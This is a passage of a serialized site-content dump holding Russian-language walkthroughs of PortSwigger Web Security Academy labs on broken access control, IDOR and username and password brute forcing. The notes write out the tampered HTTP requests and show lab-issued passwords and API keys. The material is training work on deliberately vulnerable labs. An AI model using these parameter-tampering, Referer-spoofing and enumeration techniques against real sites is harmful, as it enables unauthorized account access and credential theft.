\u002Fadmin-roles\naction=upgrade&username=wiener\n",[48,12822,12820],{"__ignoreMap":50},[330,12824,12825],{"start":98},[333,12826],{},[41,12828,12831],{"className":12829,"code":12830,"language":46},[44],"POST \u002Fadmin-roles\naction=upgrade&confirmed=true&username=wiener\n",[48,12832,12830],{"__ignoreMap":50},[21,12834,12835],{},"Первая нагрузка — «Unauthorized». Вторая — успех.",[21,12837,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":12839},[12840,12841],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12842},[12843,12844,12845],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-16","Пропуск проверки на втором шаге смены роли — POST \u002Fadmin-roles с confirmed=true повышает wiener до администратора.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step",{"title":12735,"description":12847},"notes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step",[117,12853,121],"access-control","bYvh4YBQvRDORdbQuQXWjpTDxkQJZKF8MyLg96rZEa0",{"id":12856,"title":12857,"author":6,"body":12858,"date":12846,"description":12933,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12934,"navigation":112,"notes":110,"path":12935,"psTitle":12872,"seo":12936,"stem":12937,"tags":12938,"timeSpent":10291,"type":123,"__hash__":12939},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control.md","Контроль доступа на основе Referer (PortSwigger Lab)",{"type":8,"value":12859,"toc":12925},[12860,12864,12866,12873,12875,12877,12883,12885,12894,12896,12899,12902,12908,12923],[11,12861,12863],{"id":12862},"контроль-доступа-на-основе-referer","Контроль доступа на основе Referer",[16,12865,19],{"id":18},[21,12867,12868,30],{},[24,12869,12872],{"href":12870,"rel":12871},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-referer-based-access-control",[28],"Referer-based access control",[16,12874,34],{"id":33},[36,12876,39],{"id":38},[41,12878,12881],{"className":12879,"code":12880,"language":46},[44],"This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[48,12882,12880],{"__ignoreMap":50},[36,12884,10324],{"id":10323},[21,12886,12887,12888,12890,12891,12893],{},"Есть админка, в ней есть функция повышения прав, которая использует заголовок ",[48,12889,2230],{}," в качестве данных для управления доступом. Нам дали креды для входа в админку, изучим, как работает функция повышения прав. Для решения нужно повысить пользователю ",[48,12892,11248],{}," права до административных.",[36,12895,683],{"id":682},[21,12897,12898],{},"Идём смотреть админку. Знакомая форма повышения прав.",[21,12900,12901],{},"После нажатия кнопки повышения прав — запрос:",[41,12903,12906],{"className":12904,"code":12905,"language":46},[44],"GET \u002Fadmin-roles?username=carlos&action=upgrade\nReferer: https:\u002F\u002F0a2b00b703d010d680d8fd69008300f7.web-security-academy.net\u002Fadmin\n",[48,12907,12905],{"__ignoreMap":50},[21,12909,12910,12911,12913,12914,12916,12917,973,12920,12922],{},"Окей, зайдём теперь ",[48,12912,11248],{}," и попробуем выполнить этот запрос, только заменив session от пользователя ",[48,12915,11248],{},". Запрос ",[48,12918,12919],{},"GET \u002Fadmin-roles?username=wiener&action=upgrade",[48,12921,2230],{}," берём как в случае запроса админа.",[21,12924,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":12926},[12927,12928],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12929},[12930,12931,12932],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Повышение wiener до администратора через GET \u002Fadmin-roles с подменённым заголовком Referer.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control",{"title":12857,"description":12933},"notes\u002Fpentesting\u002Fportswigger\u002Freferer-based-access-control",[117,12853,121],"yrzmz61o7XU5FlGgO3III9I4xivrc9GvVs0WOBuHXVg",{"id":12941,"title":12942,"author":6,"body":12943,"date":12846,"description":13033,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13034,"navigation":112,"notes":110,"path":13035,"psTitle":12957,"seo":13036,"stem":13037,"tags":13038,"timeSpent":374,"type":123,"__hash__":13039},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses.md","Перебор имён пользователей по разным ответам сервера (PortSwigger Lab)",{"type":8,"value":12944,"toc":13025},[12945,12949,12951,12958,12960,12962,12968,12970,12973,12975,12978,12984,12997,13000,13006,13011,13017,13023],[11,12946,12948],{"id":12947},"перебор-имён-пользователей-по-разным-ответам-сервера","Перебор имён пользователей по разным ответам сервера",[16,12950,19],{"id":18},[21,12952,12953,30],{},[24,12954,12957],{"href":12955,"rel":12956},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-different-responses",[28],"Username enumeration via different responses",[16,12959,34],{"id":33},[36,12961,39],{"id":38},[41,12963,12966],{"className":12964,"code":12965,"language":46},[44],"This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:\n\nCandidate usernames\nCandidate passwords\n\nTo solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n",[48,12967,12965],{"__ignoreMap":50},[36,12969,10324],{"id":10323},[21,12971,12972],{},"Нам дают словари имён и паролей. Нужно организовать брутфорс-атаку. Сперва подобрать имя, а затем пароль. Для решения лабы нужно залогиниться в аккаунт жертвы.",[36,12974,683],{"id":682},[21,12976,12977],{},"Логин происходит через:",[41,12979,12982],{"className":12980,"code":12981,"language":46},[44],"POST \u002Flogin\nusername=ПЕРЕМЕННАЯ&password=123\n",[48,12983,12981],{"__ignoreMap":50},[21,12985,12986,12987,12989,12990,12993,12994,426],{},"Нам предоставили список имён для перебора. Скопируем его и создадим атаку в Intruder. ",[48,12988,11168],{}," делаем переменной — 101 имя для теста. Сервер всегда отвечает ",[48,12991,12992],{},"200",", поэтому отфильтруем по длине ответа. Вот наш кандидат — ",[48,12995,12996],{},"asterix",[21,12998,12999],{},"Второй шаг — подобрать пароль:",[41,13001,13004],{"className":13002,"code":13003,"language":46},[44],"username=asterix&password=ПЕРЕМЕННАЯ\n",[48,13005,13003],{"__ignoreMap":50},[21,13007,13008,13009,215],{},"Аналогично берём список — 100 паролей. Запускаем, тут можем ориентироваться на редирект ",[48,13010,12372],{},[41,13012,13015],{"className":13013,"code":13014,"language":46},[44],"HTTP\u002F2 302 Found\nLocation: \u002Fmy-account?id=asterix\n",[48,13016,13014],{"__ignoreMap":50},[21,13018,13019,13020,426],{},"Это значит, пароль подошёл. Пароль найден — ",[48,13021,13022],{},"computer",[21,13024,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":13026},[13027,13028],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13029},[13030,13031,13032],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Перебор имён и паролей в Burp Intruder: фильтр по длине ответа, потом по 302-редиректу.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses",{"title":12942,"description":13033},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-different-responses",[117,11201,121],"jiWckIwy-RLaSrcNYQweKqYGqrUjfhAZ2GolYwiGWxs",{"id":13041,"title":13042,"author":6,"body":13043,"date":12846,"description":13124,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13125,"navigation":112,"notes":110,"path":13126,"psTitle":13057,"seo":13127,"stem":13128,"tags":13129,"timeSpent":265,"type":123,"__hash__":13130},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses.md","Перебор имён пользователей по едва заметным различиям в ответах (PortSwigger Lab)",{"type":8,"value":13044,"toc":13116},[13045,13049,13051,13058,13060,13062,13068,13070,13073,13075,13078,13083,13090,13096,13114],[11,13046,13048],{"id":13047},"перебор-имён-пользователей-по-едва-заметным-различиям-в-ответах","Перебор имён пользователей по едва заметным различиям в ответах",[16,13050,19],{"id":18},[21,13052,13053,30],{},[24,13054,13057],{"href":13055,"rel":13056},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-subtly-different-responses",[28],"Username enumeration via subtly different responses",[16,13059,34],{"id":33},[36,13061,39],{"id":38},[41,13063,13066],{"className":13064,"code":13065,"language":46},[44],"This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:\n\nCandidate usernames\nCandidate passwords\n\nTo solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n",[48,13067,13065],{"__ignoreMap":50},[36,13069,10324],{"id":10323},[21,13071,13072],{},"Нужно организовать брутфорс-атаку с помощью словарей имён и паролей пользователей.",[36,13074,683],{"id":682},[21,13076,13077],{},"Посмотрим, как организован логин и как можно организовать брутфорс:",[41,13079,13081],{"className":13080,"code":12636,"language":46},[44],[48,13082,12636],{"__ignoreMap":50},[21,13084,13085,13086,13089],{},"Окей, закидываем в Intruder. Закидываем туда список логинов из лабы. Запросы разделились по размеру ответов: 3443 и более — где-то 5–6 групп. Попадается на глаза ",[48,13087,13088],{},"oracle"," — 3443 размер, его протестим первым. Хотя для удобства выпишу по 1 логину из каждой группы:",[41,13091,13094],{"className":13092,"code":13093,"language":46},[44],"oracle  - 3443\naf      - 3444\nadmin   - 3445\nad      - 3446\nauto    - 3447\nroot    - 3460\ntest    - 3461\nguest   - 3462\ninfo    - 3463\nas      - 3462\najax    - 3463\nau      - 3464\n",[48,13095,13093],{"__ignoreMap":50},[21,13097,13098,13099,13101,13102,13104,13105,13107,13108,13111,13112,426],{},"Ожидаем ",[48,13100,12372],{}," код. Проверил пароли для ",[48,13103,13088],{}," — все ",[48,13106,12992],{},". Проверяем ",[48,13109,13110],{},"af"," — удача. Пароль — ",[48,13113,13110],{},[21,13115,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":13117},[13118,13119],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13120},[13121,13122,13123],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Группировка ответов Intruder по длине и поиск аномалии, затем подбор пароля для найденного логина.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses",{"title":13042,"description":13124},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-subtly-different-responses",[117,11201,121],"adNDoU057v2Ys69ewQzBfWM2T5WGSdW4LY9AgVtehg8",{"id":13132,"title":13133,"author":6,"body":13134,"date":13236,"description":13237,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13238,"navigation":112,"notes":110,"path":13239,"psTitle":13148,"seo":13240,"stem":13241,"tags":13242,"timeSpent":10291,"type":123,"__hash__":13244},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references.md","Небезопасные прямые ссылки на объекты — IDOR (PortSwigger Lab)",{"type":8,"value":13135,"toc":13228},[13136,13140,13142,13149,13151,13153,13159,13161,13167,13169,13172,13175,13181,13187,13193,13196,13199,13205,13213,13219,13225],[11,13137,13139],{"id":13138},"небезопасные-прямые-ссылки-на-объекты-idor","Небезопасные прямые ссылки на объекты — IDOR",[16,13141,19],{"id":18},[21,13143,13144,30],{},[24,13145,13148],{"href":13146,"rel":13147},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-insecure-direct-object-references",[28],"Insecure direct object references",[16,13150,34],{"id":33},[36,13152,39],{"id":38},[41,13154,13157],{"className":13155,"code":13156,"language":46},[44],"This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs.\n\nSolve the lab by finding the password for the user `carlos`, and logging into their account.\n",[48,13158,13156],{"__ignoreMap":50},[36,13160,10324],{"id":10323},[21,13162,13163,13164,13166],{},"История переписки хранится на файловой системе сервера и доступна по статическим адресам. Нужно найти пароль для пользователя ",[48,13165,10765],{},", судя по всему, найдя его в переписках пользователя.",[36,13168,683],{"id":682},[21,13170,13171],{},"Заходим на сайт, видим Live Chat. Открываем, напишем пару сообщений. О, есть кнопка View transcript, нажимаем — скачивает TXT-файл.",[21,13173,13174],{},"Ок, посмотрим, что происходило в Burp. При нажатии на View transcript:",[41,13176,13179],{"className":13177,"code":13178,"language":46},[44],"POST \u002Fdownload-transcript\n",[48,13180,13178],{"__ignoreMap":50},[21,13182,13183,13184,215],{},"Возвращается ",[48,13185,13186],{},"HTTP\u002F2 302 Found",[41,13188,13191],{"className":13189,"code":13190,"language":46},[44],"Location: \u002Fdownload-transcript\u002F2.txt\n",[48,13192,13190],{"__ignoreMap":50},[21,13194,13195],{},"Редирект на скачивание файла получается.",[21,13197,13198],{},"Ок, попробуем подобрать другие переписки:",[41,13200,13203],{"className":13201,"code":13202,"language":46},[44],"Location: \u002Fdownload-transcript\u002F3.txt\nLocation: \u002Fdownload-transcript\u002F4.txt\nLocation: \u002Fdownload-transcript\u002F5.txt\n",[48,13204,13202],{"__ignoreMap":50},[21,13206,13207,13210,13211,426],{},[48,13208,13209],{},"No transcript",". Сходу не получилось. Закину в Intruder, параметры от 0 до 100 для начала. Ха, нашёл всего одну — ",[48,13212,9079],{},[41,13214,13217],{"className":13215,"code":13216,"language":46},[44],"GET \u002Fdownload-transcript\u002F1.txt\n",[48,13218,13216],{"__ignoreMap":50},[41,13220,13223],{"className":13221,"code":13222,"language":46},[44],"You: Ok so my password is v6skv9vlon85s20dcidq. Is that right?\n",[48,13224,13222],{"__ignoreMap":50},[21,13226,13227],{},"Пароль получен. Входим на сайт. Лаба решена.",{"title":50,"searchDepth":98,"depth":98,"links":13229},[13230,13231],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13232},[13233,13234,13235],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-15","Перебор статических URL чат-логов в \u002Fdownload-transcript\u002FN.txt и поиск пароля carlos в переписке.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references",{"title":13133,"description":13237},"notes\u002Fpentesting\u002Fportswigger\u002Finsecure-direct-object-references",[117,12853,13243,121],"idor","8Aa3vmMVK6udeoSxQdXBzBMG1CywlQf-kXSldn6OP1I",{"id":13246,"title":13247,"author":6,"body":13248,"date":13236,"description":13333,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13334,"navigation":112,"notes":110,"path":13335,"psTitle":13262,"seo":13336,"stem":13337,"tags":13338,"timeSpent":122,"type":123,"__hash__":13339},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect.md","ID пользователя контролируется параметром запроса с утечкой данных в редиректе (PortSwigger Lab)",{"type":8,"value":13249,"toc":13325},[13250,13254,13256,13263,13265,13267,13273,13275,13278,13280,13283,13289,13292,13301,13320,13322],[11,13251,13253],{"id":13252},"id-пользователя-контролируется-параметром-запроса-с-утечкой-данных-в-редиректе","ID пользователя контролируется параметром запроса с утечкой данных в редиректе",[16,13255,19],{"id":18},[21,13257,13258,30],{},[24,13259,13262],{"href":13260,"rel":13261},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-data-leakage-in-redirect",[28],"User ID controlled by request parameter with data leakage in redirect",[16,13264,34],{"id":33},[36,13266,39],{"id":38},[41,13268,13271],{"className":13269,"code":13270,"language":46},[44],"This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response.\n\nTo solve the lab, obtain the API key for the user carlos and submit it as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,13272,13270],{"__ignoreMap":50},[36,13274,10324],{"id":10323},[21,13276,13277],{},"Лаба очень похожа на предыдущую, за исключением того, что нам нужно разыскать утечку в теле редиректа на страницу логина.",[36,13279,683],{"id":682},[21,13281,13282],{},"Логинимся под пользователем. Запрос:",[41,13284,13287],{"className":13285,"code":13286,"language":46},[44],"GET \u002Fmy-account?id=wiener\n",[48,13288,13286],{"__ignoreMap":50},[21,13290,13291],{},"В ответе есть API-ключ.",[21,13293,13294,13295,13297,13298,13300],{},"Ок, делаем запрос для пользователя ",[48,13296,10765],{},". Сервер возвращает ",[48,13299,12372],{},", но в теле весь HTML-ответ присутствует:",[41,13302,13304],{"className":2047,"code":13303,"language":2049,"meta":50,"style":50},"\u003Cdiv>Your API Key is: ltYmzXseKRiFaVJ49joHRJQVKGVmdfbq\u003C\u002Fdiv>\n",[48,13305,13306],{"__ignoreMap":50},[308,13307,13308,13310,13313,13316,13318],{"class":310,"line":311},[308,13309,2056],{"class":911},[308,13311,13312],{"class":2059},"div",[308,13314,13315],{"class":911},">Your API Key is: ltYmzXseKRiFaVJ49joHRJQVKGVmdfbq\u003C\u002F",[308,13317,13312],{"class":2059},[308,13319,2077],{"class":911},[21,13321,12197],{},[357,13323,13324],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":13326},[13327,13328],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13329},[13330,13331,13332],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"API-ключ пользователя carlos утекает в теле 302-редиректа на страницу логина.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect",{"title":13247,"description":13333},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-data-leakage-in-redirect",[117,12853,121],"XfRaIEaM_Ycg-gPw447kCrnqyye1ocuPDtq1GIVTp68",{"id":13341,"title":13342,"author":6,"body":13343,"date":13236,"description":13456,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13457,"navigation":112,"notes":110,"path":13458,"psTitle":13357,"seo":13459,"stem":13460,"tags":13461,"timeSpent":122,"type":123,"__hash__":13462},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure.md","ID пользователя контролируется параметром запроса с раскрытием пароля (PortSwigger Lab)",{"type":8,"value":13344,"toc":13448},[13345,13349,13351,13358,13360,13362,13368,13370,13375,13377,13380,13385,13388,13391,13397,13437,13446],[11,13346,13348],{"id":13347},"id-пользователя-контролируется-параметром-запроса-с-раскрытием-пароля","ID пользователя контролируется параметром запроса с раскрытием пароля",[16,13350,19],{"id":18},[21,13352,13353,30],{},[24,13354,13357],{"href":13355,"rel":13356},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-password-disclosure",[28],"User ID controlled by request parameter with password disclosure",[16,13359,34],{"id":33},[36,13361,39],{"id":38},[41,13363,13366],{"className":13364,"code":13365,"language":46},[44],"This lab has user account page that contains the current user's existing password, prefilled in a masked input.\n\nTo solve the lab, retrieve the administrator's password, then use it to delete the user carlos.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,13367,13365],{"__ignoreMap":50},[36,13369,10324],{"id":10323},[21,13371,13372,13373,426],{},"На сайте есть страница, которая отображает пароль пользователя. Нужно найти администратора и добыть его пароль. Далее удалить пользователя ",[48,13374,10765],{},[36,13376,683],{"id":682},[21,13378,13379],{},"Логинимся на сайте:",[41,13381,13383],{"className":13382,"code":13286,"language":46},[44],[48,13384,13286],{"__ignoreMap":50},[21,13386,13387],{},"Да, есть пароль в ответе.",[21,13389,13390],{},"Для администратора:",[41,13392,13395],{"className":13393,"code":13394,"language":46},[44],"GET \u002Fmy-account?id=administrator\n",[48,13396,13394],{"__ignoreMap":50},[41,13398,13400],{"className":2047,"code":13399,"language":2049,"meta":50,"style":50},"\u003Cinput required type=password name=password value='5b8q4c801sij55bvvtfx'\u002F>\n",[48,13401,13402],{"__ignoreMap":50},[308,13403,13404,13406,13409,13412,13415,13417,13419,13422,13424,13426,13429,13431,13434],{"class":310,"line":311},[308,13405,2056],{"class":911},[308,13407,13408],{"class":2059},"input",[308,13410,13411],{"class":667}," required",[308,13413,13414],{"class":667}," type",[308,13416,2066],{"class":911},[308,13418,12695],{"class":671},[308,13420,13421],{"class":667}," name",[308,13423,2066],{"class":911},[308,13425,12695],{"class":671},[308,13427,13428],{"class":667}," value",[308,13430,2066],{"class":911},[308,13432,13433],{"class":671},"'5b8q4c801sij55bvvtfx'",[308,13435,13436],{"class":911},"\u002F>\n",[21,13438,13439,13440,2237,13442,13445],{},"Логинимся ",[48,13441,12559],{},[48,13443,13444],{},"5b8q4c801sij55bvvtfx",". Удаляем пользователя. Лаба решена.",[357,13447,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":13449},[13450,13451],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13452},[13453,13454,13455],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Получение пароля администратора через GET \u002Fmy-account?id=administrator и удаление пользователя carlos.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure",{"title":13342,"description":13456},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-password-disclosure",[117,12853,121],"Zi_XraP7mB24XuXUYZxReZHWmbuQQf6OZQF-cdBt_70",{"id":13464,"title":13465,"author":6,"body":13466,"date":13236,"description":13558,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13559,"navigation":112,"notes":110,"path":13560,"psTitle":13480,"seo":13561,"stem":13562,"tags":13563,"timeSpent":122,"type":123,"__hash__":13564},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids.md","ID пользователя контролируется параметром запроса, с непредсказуемыми ID (PortSwigger Lab)",{"type":8,"value":13467,"toc":13550},[13468,13472,13474,13481,13483,13485,13491,13493,13496,13498,13501,13507,13513,13519,13525,13528,13546,13548],[11,13469,13471],{"id":13470},"id-пользователя-контролируется-параметром-запроса-с-непредсказуемыми-id","ID пользователя контролируется параметром запроса, с непредсказуемыми ID",[16,13473,19],{"id":18},[21,13475,13476,30],{},[24,13477,13480],{"href":13478,"rel":13479},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter-with-unpredictable-user-ids",[28],"User ID controlled by request parameter, with unpredictable user IDs",[16,13482,34],{"id":33},[36,13484,39],{"id":38},[41,13486,13489],{"className":13487,"code":13488,"language":46},[44],"This lab has a horizontal privilege escalation vulnerability on the user account page, but identifies users with GUIDs.\n\nTo solve the lab, find the GUID for carlos, then submit his API key as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,13490,13488],{"__ignoreMap":50},[36,13492,10324],{"id":10323},[21,13494,13495],{},"Лаба очень похожа на предыдущую, за исключением того, что нам нужно разыскать на сайте GUID нужного пользователя.",[36,13497,683],{"id":682},[21,13499,13500],{},"Логинимся под пользователем, смотрим запросы. Тут есть API-ключ.",[21,13502,13503,13504,13506],{},"Прогуляемся по сайту, видим список постов, заходим в первый. О, ",[48,13505,10765],{}," оставил коммент, его имя — ссылка, кликнем:",[41,13508,13511],{"className":13509,"code":13510,"language":46},[44],"GET \u002Fblogs?userId=2481e38a-2dba-4f3b-a2a1-433c37c9ce03\n",[48,13512,13510],{"__ignoreMap":50},[21,13514,13515,13516,13518],{},"Мы получили id нужного пользователя. Теперь можем сделать запрос на получение инфы о пользователе, но подставив туда id ",[48,13517,10765],{},". Окей, делаем запрос:",[41,13520,13523],{"className":13521,"code":13522,"language":46},[44],"GET \u002Fmy-account?id=2481e38a-2dba-4f3b-a2a1-433c37c9ce03\n",[48,13524,13522],{"__ignoreMap":50},[21,13526,13527],{},"В ответе получили:",[41,13529,13531],{"className":2047,"code":13530,"language":2049,"meta":50,"style":50},"\u003Cdiv>Your API Key is: uqyLbJbk1E14YlHvsWrB2jHaL3C3lvQd\u003C\u002Fdiv>\n",[48,13532,13533],{"__ignoreMap":50},[308,13534,13535,13537,13539,13542,13544],{"class":310,"line":311},[308,13536,2056],{"class":911},[308,13538,13312],{"class":2059},[308,13540,13541],{"class":911},">Your API Key is: uqyLbJbk1E14YlHvsWrB2jHaL3C3lvQd\u003C\u002F",[308,13543,13312],{"class":2059},[308,13545,2077],{"class":911},[21,13547,96],{},[357,13549,13324],{},{"title":50,"searchDepth":98,"depth":98,"links":13551},[13552,13553],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13554},[13555,13556,13557],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Поиск GUID пользователя carlos в постах блога и получение его API-ключа через GET \u002Fmy-account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids",{"title":13465,"description":13558},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter-with-unpredictable-user-ids",[117,12853,121],"K-5Iq5-hdylO3B1K3fIB9LteP3JqdvdMmk0GDhND72o",{"id":13566,"title":13567,"author":6,"body":13568,"date":13236,"description":13682,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13683,"navigation":112,"notes":110,"path":13684,"psTitle":13582,"seo":13685,"stem":13686,"tags":13687,"timeSpent":9894,"type":123,"__hash__":13688},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter.md","ID пользователя контролируется параметром запроса (PortSwigger Lab)",{"type":8,"value":13569,"toc":13674},[13570,13574,13576,13583,13585,13587,13593,13595,13601,13603,13606,13611,13617,13623,13670,13672],[11,13571,13573],{"id":13572},"id-пользователя-контролируется-параметром-запроса","ID пользователя контролируется параметром запроса",[16,13575,19],{"id":18},[21,13577,13578,30],{},[24,13579,13582],{"href":13580,"rel":13581},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-id-controlled-by-request-parameter",[28],"User ID controlled by request parameter",[16,13584,34],{"id":33},[36,13586,39],{"id":38},[41,13588,13591],{"className":13589,"code":13590,"language":46},[44],"This lab has a horizontal privilege escalation vulnerability on the user account page.\n\nTo solve the lab, obtain the API key for the user carlos and submit it as the solution.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,13592,13590],{"__ignoreMap":50},[36,13594,10324],{"id":10323},[21,13596,13597,13598,13600],{},"Судя по всему, очень простая лаба. Нужно добыть API-ключ пользователя ",[48,13599,10765],{},". Для этого нужно просто поменять user id, передаваемый в роут.",[36,13602,683],{"id":682},[21,13604,13605],{},"Логинимся под пользователем, смотрим запросы:",[41,13607,13609],{"className":13608,"code":13286,"language":46},[44],[48,13610,13286],{"__ignoreMap":50},[21,13612,13613,13614,215],{},"Тут есть API-ключ. Меняем параметр на ",[48,13615,13616],{},"?id=carlos",[41,13618,13621],{"className":13619,"code":13620,"language":46},[44],"GET \u002Fmy-account?id=carlos\n",[48,13622,13620],{"__ignoreMap":50},[41,13624,13626],{"className":2047,"code":13625,"language":2049,"meta":50,"style":50},"\u003Cdiv id=account-content>\n    \u003Cp>Your username is: carlos\u003C\u002Fp>\n    \u003Cdiv>Your API Key is: mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ\u003C\u002Fdiv>\n",[48,13627,13628,13644,13657],{"__ignoreMap":50},[308,13629,13630,13632,13634,13637,13639,13642],{"class":310,"line":311},[308,13631,2056],{"class":911},[308,13633,13312],{"class":2059},[308,13635,13636],{"class":667}," id",[308,13638,2066],{"class":911},[308,13640,13641],{"class":671},"account-content",[308,13643,2077],{"class":911},[308,13645,13646,13648,13650,13653,13655],{"class":310,"line":98},[308,13647,11294],{"class":911},[308,13649,21],{"class":2059},[308,13651,13652],{"class":911},">Your username is: carlos\u003C\u002F",[308,13654,21],{"class":2059},[308,13656,2077],{"class":911},[308,13658,13659,13661,13663,13666,13668],{"class":310,"line":104},[308,13660,11294],{"class":911},[308,13662,13312],{"class":2059},[308,13664,13665],{"class":911},">Your API Key is: 